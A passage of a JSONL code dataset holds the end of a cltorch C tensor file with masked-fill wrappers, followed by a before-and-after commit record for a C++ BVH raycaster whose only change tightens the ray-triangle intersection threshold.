CLTORCH_DIM_WARNING);\n\n  \/\/ THError(\"Not implemented\");\n}\n\nvoid THClTensor_maskedFillByte(THClState* state, THClTensor *tensor, THByteTensor *mask, float value)\n{\n THAssert(THClTensor_checkGPU(state, 1, tensor));\n THLongStorage* maskSize = THByteTensor_newSizeOf(mask);\n THClTensor* maskCl = THClTensor_newWithSize(state, maskSize, NULL);\n THLongStorage_free(maskSize);\n THClTensor_copyByte(state, maskCl, mask);\n THClTensor_maskedFill(state, tensor, maskCl, value);\n THClTensor_free(state, maskCl);\n}\n\n\/\/void THClTensor_maskedCopyByte(THClState* state, THClTensor *tensor, THByteTensor *mask, THClTensor *src)\n\/\/{\n\/\/  THAssert(THClTensor_checkGPU(state, 2, tensor, src));\n\/\/  THLongStorage* maskSize = THByteTensor_newSizeOf(mask);\n\/\/  THClTensor* maskCl = THClTensor_newWithSize(state, maskSize, NULL);\n\/\/  THLongStorage_free(maskSize);\n\/\/  THClTensor_copyByte(state, maskCl, mask);\n\/\/  THClTensor_maskedCopy(state, tensor, maskCl, src);\n\/\/  THClTensor_free(state, maskCl);\n\/\/}\n\nvoid THClTensor_maskedSelectByte(THClState* state, THClTensor *tensor, THClTensor *src, THByteTensor *mask)\n{\n THAssert(THClTensor_checkGPU(state, 2, tensor, src));\n THLongStorage* maskSize = THByteTensor_newSizeOf(mask);\n THClTensor* maskCl = THClTensor_newWithSize(state, maskSize, NULL);\n THLongStorage_free(maskSize);\n THClTensor_copyByte(state, maskCl, mask);\n THClTensor_maskedSelect(state, tensor, src, maskCl);\n THClTensor_free(state, maskCl);\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"Raycaster.hpp\"\n#include \"helpers\/Random.hpp\"\n#include \"helpers\/System.hpp\"\n#include <queue>\n#include <stack>\n\nRaycaster::Ray::Ray(const glm::vec3 & origin, const glm::vec3 & direction) : pos(origin), dir(glm::normalize(direction)){\n}\n\nRaycaster::RayHit::RayHit() : hit(false), dist(std::numeric_limits<float>::max()), u(0.0f), v(0.0f), localId(0), meshId(0) {\n}\n\nRaycaster::RayHit::RayHit(float distance, float uu, float vv, unsigned long lid, unsigned long mid) :\n\thit(true), dist(distance), u(uu), v(vv), w(1.0f - uu - vv), localId(lid), meshId(mid) {\n}\n\nRaycaster::Raycaster(){\n\t\n}\n\nvoid Raycaster::addMesh(const Mesh & mesh, const glm::mat4 & model){\n\tconst unsigned long indexOffset = (unsigned long)(_vertices.size());\n\t\n\t\/\/ Start by copying all vertices.\n\tconst size_t startIndex = _vertices.size();\n\t_vertices.insert(_vertices.end(), mesh.positions.begin(), mesh.positions.end());\n\tconst size_t endIndex = _vertices.size();\n\t\n\tif(model != glm::mat4(1.0f)){\n\t\tfor(size_t vid = startIndex; vid < endIndex; ++vid){\n\t\t\t_vertices[vid] = glm::vec3(model * glm::vec4(_vertices[vid], 1.0f));\n\t\t}\n\t}\n\t\n\tconst size_t trianglesCount = mesh.indices.size()\/3;\n\tfor(size_t tid = 0; tid < trianglesCount; ++tid){\n\t\tconst size_t localId = 3 * tid;\n\t\tTriangleInfos triInfos;\n\t\ttriInfos.v0 = indexOffset + mesh.indices[localId + 0];\n\t\ttriInfos.v1 = indexOffset + mesh.indices[localId + 1];\n\t\ttriInfos.v2 = indexOffset + mesh.indices[localId + 2];\n\t\ttriInfos.localId = (unsigned long)(localId);\n\t\ttriInfos.meshId = _meshCount;\n\t\ttriInfos.box = BoundingBox(_vertices[triInfos.v0], _vertices[triInfos.v1], _vertices[triInfos.v2]);\n\t\t_triangles.push_back(triInfos);\n\t}\n\t\n\tLog::Info() << \"[Raycaster]\" << \" Mesh \" << _meshCount << \" added, \" << trianglesCount << \" triangles, \" << _vertices.size() - indexOffset << \" vertices.\" << std::endl;\n\t\n\t++_meshCount;\n}\n\nvoid Raycaster::updateHierarchy(){\n\t\n\tLog::Info() << \"[Raycaster] Building hierarchy... \" << std::flush;\n\t\n\tstruct SetInfos {\n\t\tsize_t begin;\n\t\tsize_t count;\n\t\tlong parent;\n\t\tbool right;\n\t};\n\t\n\tstd::stack<SetInfos> remainingSets;\n\tremainingSets.push({0, _triangles.size(), -1, false});\n\t\n\twhile(!remainingSets.empty()){\n\t\t\/\/ Get the next node to process on the stack.\n\t\tconst SetInfos current(remainingSets.top());\n\t\tremainingSets.pop();\n\t\tconst size_t begin = current.begin;\n\t\tconst size_t count = current.count;\n\t\t\n\t\t\/\/ Compute the global bounding box.\n\t\tBoundingBox global(_triangles[begin].box);\n\t\tfor(size_t tid = 1; tid < count; ++tid){\n\t\t\tglobal.merge(_triangles[begin+tid].box);\n\t\t}\n\t\t\n\t\t\/\/ Create the node.\n\t\t_hierarchy.emplace_back();\n\t\tconst size_t nodeId = _hierarchy.size()-1;\n\t\tNode currentNode;\n\t\tcurrentNode.box = global;\n\t\t\/\/ If the triangles count is low enough, we have a leaf.\n\t\tif(count < 3){\n\t\t\tcurrentNode.leaf = true;\n\t\t\tcurrentNode.left = begin;\n\t\t\tcurrentNode.right = count;\n\t\t} else {\n\t\t\tcurrentNode.leaf = false;\n\t\t\t\n\t\t\t\/\/ Pick the dimension along which the global bounding box is the largest.\n\t\t\tconst glm::vec3 boxSize = global.getSize();\n\t\t\tconst int axis = (boxSize.x >= boxSize.y && boxSize.x >= boxSize.z) ? 0 : (boxSize.y >= boxSize.z ? 1 : 2);\n\t\t\t\/\/ Compute the midpoint of all triangles centroids along the picked axis.\n\t\t\tfloat abscisse = 0.0f;\n\t\t\tfor(size_t tid = 0; tid < count; ++tid){\n\t\t\t\tabscisse += _triangles[begin+tid].box.getCentroid()[axis];\n\t\t\t}\n\t\t\tabscisse \/= float(count);\n\t\t\t\n\t\t\t\/\/ Split in two subnodes.\n\t\t\t\/\/ Main criterion: split at the midpoint along the chosen axis.\n\t\t\tconst auto split = std::partition(_triangles.begin()+begin, _triangles.begin()+begin+count, [abscisse, axis](const TriangleInfos & t0){\n\t\t\t\treturn t0.box.getCentroid()[axis] < abscisse;\n\t\t\t});\n\t\t\tsize_t splitCount = std::distance(_triangles.begin()+begin, split);\n\t\t\t\n\t\t\t\/\/ Fallback criterion: split in two equal size subsets.\n\t\t\t\/\/ This can happen in case the primitive boxes overlap a lot,\n\t\t\t\/\/ or in case of equal coordinates along the chosen axis.\n\t\t\tif(splitCount == 0 || splitCount == count){\n\t\t\t\tsplitCount = count\/2;\n\t\t\t}\n\t\t\t\n\t\t\t\/\/ Create the two sub-nodes.\n\t\t\tremainingSets.push({begin, splitCount, long(nodeId), false});\n\t\t\tremainingSets.push({begin+splitCount, count-splitCount, long(nodeId), true});\n\t\t}\n\t\t_hierarchy[nodeId] = currentNode;\n\t\t\n\t\t\/\/ Update the parent node with infos.\n\t\tif(current.parent >= 0){\n\t\t\tif(current.right){\n\t\t\t\t_hierarchy[current.parent].right = nodeId;\n\t\t\t} else {\n\t\t\t\t_hierarchy[current.parent].left = nodeId;\n\t\t\t}\n\t\t}\n\t\t\n\t}\n\tLog::Info() << \"Done.\" << std::endl;\n}\n\nvoid Raycaster::createBVHMeshes(std::vector<Mesh> &meshes) const {\n\tmeshes.clear();\n\t\/\/ We want a mesh where the nodes are in increasing order of depth.\n\tstruct NodeLocation {\n\t\tsize_t node;\n\t\tsize_t depth;\n\t};\n\t\n\tstd::vector<NodeLocation> sortedNodes;\n\tsortedNodes.reserve(_hierarchy.size());\n\t\n\t\/\/ Breadth-first tree exploration.\n\tstd::queue<NodeLocation> nodesToVisit;\n\tnodesToVisit.push({0, 0});\n\tsize_t maxDepth = 0;\n\twhile(!nodesToVisit.empty()){\n\t\tconst NodeLocation & location = nodesToVisit.front();\n\t\tsortedNodes.push_back(location);\n\t\t\/\/ If this is not a leaf, enqueue the two children nodes.\n\t\tconst Node & node = _hierarchy[location.node];\n\t\tif(!node.leaf){\n\t\t\tnodesToVisit.push({ node.left , location.depth+1 });\n\t\t\tnodesToVisit.push({ node.right, location.depth+1 });\n\t\t}\n\t\t\/\/ Find the max depth.\n\t\tmaxDepth = std::max(maxDepth, location.depth);\n\t\t\/\/ Remove the current node from the visit queue.\n\t\tnodesToVisit.pop();\n\t}\n\t\n\tmeshes.resize(maxDepth+1);\n\t\n\t\/\/ For each node, generate a wireframe bounding box.\n\tfor(const auto & location : sortedNodes){\n\t\tconst Node & node = _hierarchy[location.node];\n\t\t\n\t\t\/\/ Compute relative depth for colorisation.\n\t\tfloat depth = float(location.depth) \/ float(maxDepth);\n\t\t\/\/ We have fewer boxes at low depth, skew the hue scale.\n\t\tdepth *= depth;\n\t\t\/\/ Decrease luminosity as we go deeper.\n\t\tconst float lum = 0.5*(1.0f - depth);\n\t\tconst glm::vec3 color = System::hslToRgb(glm::vec3(300.0f*depth, 0.9f, lum));\n\t\t\n\t\t\/\/ Setup vertices.\n\t\tMesh & mesh = meshes[location.depth];\n\t\tconst size_t firstIndex = mesh.positions.size();\n\t\tconst auto corners = node.box.getCorners();\n\t\tfor(const auto & corner : corners){\n\t\t\tmesh.positions.push_back(corner);\n\t\t\tmesh.colors.push_back(color);\n\t\t}\n\t\t\/\/ Setup degenerate triangles for each line.\n\t\tconst std::vector<unsigned int> indices = {\n\t\t\t0,1,0, 0,2,0, 1,3,1, 2,3,2, 4,5,4, 4,6,4, 5,7,5, 6,7,6, 1,5,1, 0,4,0, 2,6,2, 3,7,3\n\t\t};\n\t\tfor(const int iid : indices){\n\t\t\tmesh.indices.push_back(firstIndex + iid);\n\t\t}\n\t}\n}\n\nconst Raycaster::RayHit Raycaster::intersects(const glm::vec3 & origin, const glm::vec3 & direction, float mini, float maxi) const {\n\tconst Ray ray(origin, direction);\n\t\n\tstd::stack<size_t> nodesToTest;\n\tnodesToTest.push(0);\n\t\n\tRayHit bestHit;\n\twhile(!nodesToTest.empty()){\n\t\tconst Node & node = _hierarchy[nodesToTest.top()];\n\t\tnodesToTest.pop();\n\t\t\n\t\t\/\/ If the ray doesn't intersect the bounding box, move to the next node.\n\t\tif(!Raycaster::intersects(ray, node.box, mini, maxi)){\n\t\t\tcontinue;\n\t\t}\n\t\t\/\/ If the node is a leaf, test all included triangles.\n\t\tif(node.leaf){\n\t\t\tfor(size_t tid = 0; tid < node.right; ++tid){\n\t\t\t\tconst auto & tri = _triangles[node.left + tid];\n\t\t\t\tconst RayHit hit = intersects(ray, tri, mini, maxi);\n\t\t\t\t\/\/ We found a valid hit.\n\t\t\t\tif(hit.hit && hit.dist < bestHit.dist){\n\t\t\t\t\tbestHit = hit;\n\t\t\t\t\tmaxi = bestHit.dist;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\/\/ Move to the next node.\n\t\t\tcontinue;\n\t\t}\n\t\t\/\/ Else, intersect both child nodes.\n\t\tnodesToTest.push(node.left);\n\t\tnodesToTest.push(node.right);\n\t}\n\treturn bestHit;\n}\n\nbool Raycaster::intersectsAny(const glm::vec3 & origin, const glm::vec3 & direction, float mini, float maxi) const {\n\tconst Ray ray(origin, direction);\n\t\n\tstd::stack<size_t> nodesToTest;\n\tnodesToTest.push(0);\n\t\n\twhile(!nodesToTest.empty()){\n\t\tconst Node & node = _hierarchy[nodesToTest.top()];\n\t\tnodesToTest.pop();\n\t\t\/\/ If the ray doesn't intersect the bounding box, move to the next node.\n\t\tif(!Raycaster::intersects(ray, node.box, mini, maxi)){\n\t\t\tcontinue;\n\t\t}\n\t\t\/\/ If the node is a leaf, test all included triangles.\n\t\tif(node.leaf){\n\t\t\tRayHit finalHit;\n\t\t\tfor(size_t tid = 0; tid < node.right; ++tid){\n\t\t\t\tconst auto & tri = _triangles[node.left + tid];\n\t\t\t\tif(intersects(ray, tri, mini, maxi).hit){\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\/\/ No intersection move to the next node.\n\t\t\tcontinue;\n\t\t}\n\t\t\/\/ Check if any of the children is hit.\n\t\tnodesToTest.push(node.left);\n\t\tnodesToTest.push(node.right);\n\t}\n\treturn false;\n}\n\nbool Raycaster::visible(const glm::vec3 & p0, const glm::vec3 & p1) const {\n\tconst glm::vec3 direction = p1 - p0;\n\tconst float maxi = glm::length(direction);\n\treturn !intersectsAny(p0, direction, 0.0001f, maxi);\n}\n\nconst Raycaster::RayHit Raycaster::intersects(const Raycaster::Ray & ray, const TriangleInfos & tri, float mini, float maxi) const {\n\t\/\/ Implement Moller-Trumbore intersection test.\n\tconst glm::vec3 & v0 = _vertices[tri.v0];\n\tconst glm::vec3 v01 = _vertices[tri.v1] - v0;\n\tconst glm::vec3 v02 = _vertices[tri.v2] - v0;\n\tconst glm::vec3 p = glm::cross(ray.dir, v02);\n\tconst float det = glm::dot(v01, p);\n\t\n\tif(std::abs(det) < 0.00001f){\n\t\treturn RayHit();\n\t}\n\t\n\tconst float invDet = 1.0f \/ det;\n\tconst glm::vec3 q = ray.pos - v0;\n\tconst float u = invDet * glm::dot(q, p);\n\tif(u < 0.0f || u > 1.0f){\n\t\treturn RayHit();\n\t}\n\t\n\tconst glm::vec3 r = glm::cross(q, v01);\n\tconst float v = invDet * glm::dot(ray.dir, r);\n\tif(v < 0.0f || (u+v) > 1.0f){\n\t\treturn RayHit();\n\t}\n\t\n\tconst float t = invDet * glm::dot(v02, r);\n\tif(t > mini && t < maxi){\n\t\treturn RayHit(t, u, v, tri.localId, tri.meshId);\n\t}\n\treturn RayHit();\n}\n\nbool Raycaster::intersects(const Raycaster::Ray & ray, const BoundingBox & box, float mini, float maxi){\n\tconst glm::vec3 minRatio = (box.minis - ray.pos) \/ ray.dir;\n\tconst glm::vec3 maxRatio = (box.maxis - ray.pos) \/ ray.dir;\n\tconst glm::vec3 minFinal = glm::min(minRatio, maxRatio);\n\tconst glm::vec3 maxFinal = glm::max(minRatio, maxRatio);\n\t\n\tconst float closest  = std::max(minFinal[0], std::max(minFinal[1], minFinal[2]));\n\tconst float furthest = std::min(maxFinal[0], std::min(maxFinal[1], maxFinal[2]));\n\t\n\treturn std::max(closest, mini) <= std::min(furthest, maxi);\n}\n\nglm::vec3 Raycaster::interpolatePosition(const RayHit & hit, const Mesh & geometry){\n\tconst unsigned long triId = hit.localId;\n\tconst unsigned long i0 = geometry.indices[triId  ];\n\tconst unsigned long i1 = geometry.indices[triId+1];\n\tconst unsigned long i2 = geometry.indices[triId+2];\n\treturn hit.w * geometry.positions[i0] + hit.u * geometry.positions[i1] + hit.v * geometry.positions[i2];\n}\n\nglm::vec3 Raycaster::interpolateNormal(const RayHit & hit, const Mesh & geometry){\n\tconst unsigned long triId = hit.localId;\n\tconst unsigned long i0 = geometry.indices[triId  ];\n\tconst unsigned long i1 = geometry.indices[triId+1];\n\tconst unsigned long i2 = geometry.indices[triId+2];\n\tconst glm::vec3 n = hit.w * geometry.normals[i0] + hit.u * geometry.normals[i1] + hit.v * geometry.normals[i2];\n\treturn glm::normalize(n);\n}\n\nglm::vec2 Raycaster::interpolateUV(const RayHit & hit, const Mesh & geometry){\n\tconst unsigned long triId = hit.localId;\n\tconst unsigned long i0 = geometry.indices[triId  ];\n\tconst unsigned long i1 = geometry.indices[triId+1];\n\tconst unsigned long i2 = geometry.indices[triId+2];\n\treturn hit.w * geometry.texcoords[i0] + hit.u * geometry.texcoords[i1] + hit.v * geometry.texcoords[i2];\n}\n<commit_msg>Raycaster: fix precision issue in ray-triangle intersection test.<commit_after>#include \"Raycaster.hpp\"\n#include \"helpers\/Random.hpp\"\n#include \"helpers\/System.hpp\"\n#include <queue>\n#include <stack>\n\nRaycaster::Ray::Ray(const glm::vec3 & origin, const glm::vec3 & direction) : pos(origin), dir(glm::normalize(direction)){\n}\n\nRaycaster::RayHit::RayHit() : hit(false), dist(std::numeric_limits<float>::max()), u(0.0f), v(0.0f), localId(0), meshId(0) {\n}\n\nRaycaster::RayHit::RayHit(float distance, float uu, float vv, unsigned long lid, unsigned long mid) :\n\thit(true), dist(distance), u(uu), v(vv), w(1.0f - uu - vv), localId(lid), meshId(mid) {\n}\n\nRaycaster::Raycaster(){\n\t\n}\n\nvoid Raycaster::addMesh(const Mesh & mesh, const glm::mat4 & model){\n\tconst unsigned long indexOffset = (unsigned long)(_vertices.size());\n\t\n\t\/\/ Start by copying all vertices.\n\tconst size_t startIndex = _vertices.size();\n\t_vertices.insert(_vertices.end(), mesh.positions.begin(), mesh.positions.end());\n\tconst size_t endIndex = _vertices.size();\n\t\n\tif(model != glm::mat4(1.0f)){\n\t\tfor(size_t vid = startIndex; vid < endIndex; ++vid){\n\t\t\t_vertices[vid] = glm::vec3(model * glm::vec4(_vertices[vid], 1.0f));\n\t\t}\n\t}\n\t\n\tconst size_t trianglesCount = mesh.indices.size()\/3;\n\tfor(size_t tid = 0; tid < trianglesCount; ++tid){\n\t\tconst size_t localId = 3 * tid;\n\t\tTriangleInfos triInfos;\n\t\ttriInfos.v0 = indexOffset + mesh.indices[localId + 0];\n\t\ttriInfos.v1 = indexOffset + mesh.indices[localId + 1];\n\t\ttriInfos.v2 = indexOffset + mesh.indices[localId + 2];\n\t\ttriInfos.localId = (unsigned long)(localId);\n\t\ttriInfos.meshId = _meshCount;\n\t\ttriInfos.box = BoundingBox(_vertices[triInfos.v0], _vertices[triInfos.v1], _vertices[triInfos.v2]);\n\t\t_triangles.push_back(triInfos);\n\t}\n\t\n\tLog::Info() << \"[Raycaster]\" << \" Mesh \" << _meshCount << \" added, \" << trianglesCount << \" triangles, \" << _vertices.size() - indexOffset << \" vertices.\" << std::endl;\n\t\n\t++_meshCount;\n}\n\nvoid Raycaster::updateHierarchy(){\n\t\n\tLog::Info() << \"[Raycaster] Building hierarchy... \" << std::flush;\n\t\n\tstruct SetInfos {\n\t\tsize_t begin;\n\t\tsize_t count;\n\t\tlong parent;\n\t\tbool right;\n\t};\n\t\n\tstd::stack<SetInfos> remainingSets;\n\tremainingSets.push({0, _triangles.size(), -1, false});\n\t\n\twhile(!remainingSets.empty()){\n\t\t\/\/ Get the next node to process on the stack.\n\t\tconst SetInfos current(remainingSets.top());\n\t\tremainingSets.pop();\n\t\tconst size_t begin = current.begin;\n\t\tconst size_t count = current.count;\n\t\t\n\t\t\/\/ Compute the global bounding box.\n\t\tBoundingBox global(_triangles[begin].box);\n\t\tfor(size_t tid = 1; tid < count; ++tid){\n\t\t\tglobal.merge(_triangles[begin+tid].box);\n\t\t}\n\t\t\n\t\t\/\/ Create the node.\n\t\t_hierarchy.emplace_back();\n\t\tconst size_t nodeId = _hierarchy.size()-1;\n\t\tNode currentNode;\n\t\tcurrentNode.box = global;\n\t\t\/\/ If the triangles count is low enough, we have a leaf.\n\t\tif(count < 3){\n\t\t\tcurrentNode.leaf = true;\n\t\t\tcurrentNode.left = begin;\n\t\t\tcurrentNode.right = count;\n\t\t} else {\n\t\t\tcurrentNode.leaf = false;\n\t\t\t\n\t\t\t\/\/ Pick the dimension along which the global bounding box is the largest.\n\t\t\tconst glm::vec3 boxSize = global.getSize();\n\t\t\tconst int axis = (boxSize.x >= boxSize.y && boxSize.x >= boxSize.z) ? 0 : (boxSize.y >= boxSize.z ? 1 : 2);\n\t\t\t\/\/ Compute the midpoint of all triangles centroids along the picked axis.\n\t\t\tfloat abscisse = 0.0f;\n\t\t\tfor(size_t tid = 0; tid < count; ++tid){\n\t\t\t\tabscisse += _triangles[begin+tid].box.getCentroid()[axis];\n\t\t\t}\n\t\t\tabscisse \/= float(count);\n\t\t\t\n\t\t\t\/\/ Split in two subnodes.\n\t\t\t\/\/ Main criterion: split at the midpoint along the chosen axis.\n\t\t\tconst auto split = std::partition(_triangles.begin()+begin, _triangles.begin()+begin+count, [abscisse, axis](const TriangleInfos & t0){\n\t\t\t\treturn t0.box.getCentroid()[axis] < abscisse;\n\t\t\t});\n\t\t\tsize_t splitCount = std::distance(_triangles.begin()+begin, split);\n\t\t\t\n\t\t\t\/\/ Fallback criterion: split in two equal size subsets.\n\t\t\t\/\/ This can happen in case the primitive boxes overlap a lot,\n\t\t\t\/\/ or in case of equal coordinates along the chosen axis.\n\t\t\tif(splitCount == 0 || splitCount == count){\n\t\t\t\tsplitCount = count\/2;\n\t\t\t}\n\t\t\t\n\t\t\t\/\/ Create the two sub-nodes.\n\t\t\tremainingSets.push({begin, splitCount, long(nodeId), false});\n\t\t\tremainingSets.push({begin+splitCount, count-splitCount, long(nodeId), true});\n\t\t}\n\t\t_hierarchy[nodeId] = currentNode;\n\t\t\n\t\t\/\/ Update the parent node with infos.\n\t\tif(current.parent >= 0){\n\t\t\tif(current.right){\n\t\t\t\t_hierarchy[current.parent].right = nodeId;\n\t\t\t} else {\n\t\t\t\t_hierarchy[current.parent].left = nodeId;\n\t\t\t}\n\t\t}\n\t\t\n\t}\n\tLog::Info() << \"Done.\" << std::endl;\n}\n\nvoid Raycaster::createBVHMeshes(std::vector<Mesh> &meshes) const {\n\tmeshes.clear();\n\t\/\/ We want a mesh where the nodes are in increasing order of depth.\n\tstruct NodeLocation {\n\t\tsize_t node;\n\t\tsize_t depth;\n\t};\n\t\n\tstd::vector<NodeLocation> sortedNodes;\n\tsortedNodes.reserve(_hierarchy.size());\n\t\n\t\/\/ Breadth-first tree exploration.\n\tstd::queue<NodeLocation> nodesToVisit;\n\tnodesToVisit.push({0, 0});\n\tsize_t maxDepth = 0;\n\twhile(!nodesToVisit.empty()){\n\t\tconst NodeLocation & location = nodesToVisit.front();\n\t\tsortedNodes.push_back(location);\n\t\t\/\/ If this is not a leaf, enqueue the two children nodes.\n\t\tconst Node & node = _hierarchy[location.node];\n\t\tif(!node.leaf){\n\t\t\tnodesToVisit.push({ node.left , location.depth+1 });\n\t\t\tnodesToVisit.push({ node.right, location.depth+1 });\n\t\t}\n\t\t\/\/ Find the max depth.\n\t\tmaxDepth = std::max(maxDepth, location.depth);\n\t\t\/\/ Remove the current node from the visit queue.\n\t\tnodesToVisit.pop();\n\t}\n\t\n\tmeshes.resize(maxDepth+1);\n\t\n\t\/\/ For each node, generate a wireframe bounding box.\n\tfor(const auto & location : sortedNodes){\n\t\tconst Node & node = _hierarchy[location.node];\n\t\t\n\t\t\/\/ Compute relative depth for colorisation.\n\t\tfloat depth = float(location.depth) \/ float(maxDepth);\n\t\t\/\/ We have fewer boxes at low depth, skew the hue scale.\n\t\tdepth *= depth;\n\t\t\/\/ Decrease luminosity as we go deeper.\n\t\tconst float lum = 0.5*(1.0f - depth);\n\t\tconst glm::vec3 color = System::hslToRgb(glm::vec3(300.0f*depth, 0.9f, lum));\n\t\t\n\t\t\/\/ Setup vertices.\n\t\tMesh & mesh = meshes[location.depth];\n\t\tconst size_t firstIndex = mesh.positions.size();\n\t\tconst auto corners = node.box.getCorners();\n\t\tfor(const auto & corner : corners){\n\t\t\tmesh.positions.push_back(corner);\n\t\t\tmesh.colors.push_back(color);\n\t\t}\n\t\t\/\/ Setup degenerate triangles for each line.\n\t\tconst std::vector<unsigned int> indices = {\n\t\t\t0,1,0, 0,2,0, 1,3,1, 2,3,2, 4,5,4, 4,6,4, 5,7,5, 6,7,6, 1,5,1, 0,4,0, 2,6,2, 3,7,3\n\t\t};\n\t\tfor(const int iid : indices){\n\t\t\tmesh.indices.push_back(firstIndex + iid);\n\t\t}\n\t}\n}\n\nconst Raycaster::RayHit Raycaster::intersects(const glm::vec3 & origin, const glm::vec3 & direction, float mini, float maxi) const {\n\tconst Ray ray(origin, direction);\n\t\n\tstd::stack<size_t> nodesToTest;\n\tnodesToTest.push(0);\n\t\n\tRayHit bestHit;\n\twhile(!nodesToTest.empty()){\n\t\tconst Node & node = _hierarchy[nodesToTest.top()];\n\t\tnodesToTest.pop();\n\t\t\n\t\t\/\/ If the ray doesn't intersect the bounding box, move to the next node.\n\t\tif(!Raycaster::intersects(ray, node.box, mini, maxi)){\n\t\t\tcontinue;\n\t\t}\n\t\t\/\/ If the node is a leaf, test all included triangles.\n\t\tif(node.leaf){\n\t\t\tfor(size_t tid = 0; tid < node.right; ++tid){\n\t\t\t\tconst auto & tri = _triangles[node.left + tid];\n\t\t\t\tconst RayHit hit = intersects(ray, tri, mini, maxi);\n\t\t\t\t\/\/ We found a valid hit.\n\t\t\t\tif(hit.hit && hit.dist < bestHit.dist){\n\t\t\t\t\tbestHit = hit;\n\t\t\t\t\tmaxi = bestHit.dist;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\/\/ Move to the next node.\n\t\t\tcontinue;\n\t\t}\n\t\t\/\/ Else, intersect both child nodes.\n\t\tnodesToTest.push(node.left);\n\t\tnodesToTest.push(node.right);\n\t}\n\treturn bestHit;\n}\n\nbool Raycaster::intersectsAny(const glm::vec3 & origin, const glm::vec3 & direction, float mini, float maxi) const {\n\tconst Ray ray(origin, direction);\n\t\n\tstd::stack<size_t> nodesToTest;\n\tnodesToTest.push(0);\n\t\n\twhile(!nodesToTest.empty()){\n\t\tconst Node & node = _hierarchy[nodesToTest.top()];\n\t\tnodesToTest.pop();\n\t\t\/\/ If the ray doesn't intersect the bounding box, move to the next node.\n\t\tif(!Raycaster::intersects(ray, node.box, mini, maxi)){\n\t\t\tcontinue;\n\t\t}\n\t\t\/\/ If the node is a leaf, test all included triangles.\n\t\tif(node.leaf){\n\t\t\tRayHit finalHit;\n\t\t\tfor(size_t tid = 0; tid < node.right; ++tid){\n\t\t\t\tconst auto & tri = _triangles[node.left + tid];\n\t\t\t\tif(intersects(ray, tri, mini, maxi).hit){\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\/\/ No intersection move to the next node.\n\t\t\tcontinue;\n\t\t}\n\t\t\/\/ Check if any of the children is hit.\n\t\tnodesToTest.push(node.left);\n\t\tnodesToTest.push(node.right);\n\t}\n\treturn false;\n}\n\nbool Raycaster::visible(const glm::vec3 & p0, const glm::vec3 & p1) const {\n\tconst glm::vec3 direction = p1 - p0;\n\tconst float maxi = glm::length(direction);\n\treturn !intersectsAny(p0, direction, 0.0001f, maxi);\n}\n\nconst Raycaster::RayHit Raycaster::intersects(const Raycaster::Ray & ray, const TriangleInfos & tri, float mini, float maxi) const {\n\t\/\/ Implement Moller-Trumbore intersection test.\n\tconst glm::vec3 & v0 = _vertices[tri.v0];\n\tconst glm::vec3 v01 = _vertices[tri.v1] - v0;\n\tconst glm::vec3 v02 = _vertices[tri.v2] - v0;\n\tconst glm::vec3 p = glm::cross(ray.dir, v02);\n\tconst float det = glm::dot(v01, p);\n\t\n\tif(std::abs(det) < std::numeric_limits<float>::epsilon()){\n\t\treturn RayHit();\n\t}\n\t\n\tconst float invDet = 1.0f \/ det;\n\tconst glm::vec3 q = ray.pos - v0;\n\tconst float u = invDet * glm::dot(q, p);\n\tif(u < 0.0f || u > 1.0f){\n\t\treturn RayHit();\n\t}\n\t\n\tconst glm::vec3 r = glm::cross(q, v01);\n\tconst float v = invDet * glm::dot(ray.dir, r);\n\tif(v < 0.0f || (u+v) > 1.0f){\n\t\treturn RayHit();\n\t}\n\t\n\tconst float t = invDet * glm::dot(v02, r);\n\tif(t > mini && t < maxi){\n\t\treturn RayHit(t, u, v, tri.localId, tri.meshId);\n\t}\n\treturn RayHit();\n}\n\nbool Raycaster::intersects(const Raycaster::Ray & ray, const BoundingBox & box, float mini, float maxi){\n\tconst glm::vec3 minRatio = (box.minis - ray.pos) \/ ray.dir;\n\tconst glm::vec3 maxRatio = (box.maxis - ray.pos) \/ ray.dir;\n\tconst glm::vec3 minFinal = glm::min(minRatio, maxRatio);\n\tconst glm::vec3 maxFinal = glm::max(minRatio, maxRatio);\n\t\n\tconst float closest  = std::max(minFinal[0], std::max(minFinal[1], minFinal[2]));\n\tconst float furthest = std::min(maxFinal[0], std::min(maxFinal[1], maxFinal[2]));\n\t\n\treturn std::max(closest, mini) <= std::min(furthest, maxi);\n}\n\nglm::vec3 Raycaster::interpolatePosition(const RayHit & hit, const Mesh & geometry){\n\tconst unsigned long triId = hit.localId;\n\tconst unsigned long i0 = geometry.indices[triId  ];\n\tconst unsigned long i1 = geometry.indices[triId+1];\n\tconst unsigned long i2 = geometry.indices[triId+2];\n\treturn hit.w * geometry.positions[i0] + hit.u * geometry.positions[i1] + hit.v * geometry.positions[i2];\n}\n\nglm::vec3 Raycaster::interpolateNormal(const RayHit & hit, const Mesh & geometry){\n\tconst unsigned long triId = hit.localId;\n\tconst unsigned long i0 = geometry.indices[triId  ];\n\tconst unsigned long i1 = geometry.indices[triId+1];\n\tconst unsigned long i2 = geometry.indices[triId+2];\n\tconst glm::vec3 n = hit.w * geometry.normals[i0] + hit.u * geometry.normals[i1] + hit.v * geometry.normals[i2];\n\treturn glm::normalize(n);\n}\n\nglm::vec2 Raycaster::interpolateUV(const RayHit & hit, const Mesh & geometry){\n\tconst unsigned long triId = hit.localId;\n\tconst unsigned long i0 = geometry.indices[triId  ];\n\tconst unsigned long i1 = geometry.indices[triId+1];\n\tconst unsigned long i2 = geometry.indices[triId+2];\n\treturn hit.w * geometry.texcoords[i0] + hit.u * geometry.texcoords[i1] + hit.v * geometry.texcoords[i2];\n}\n<|endoftext|>"}
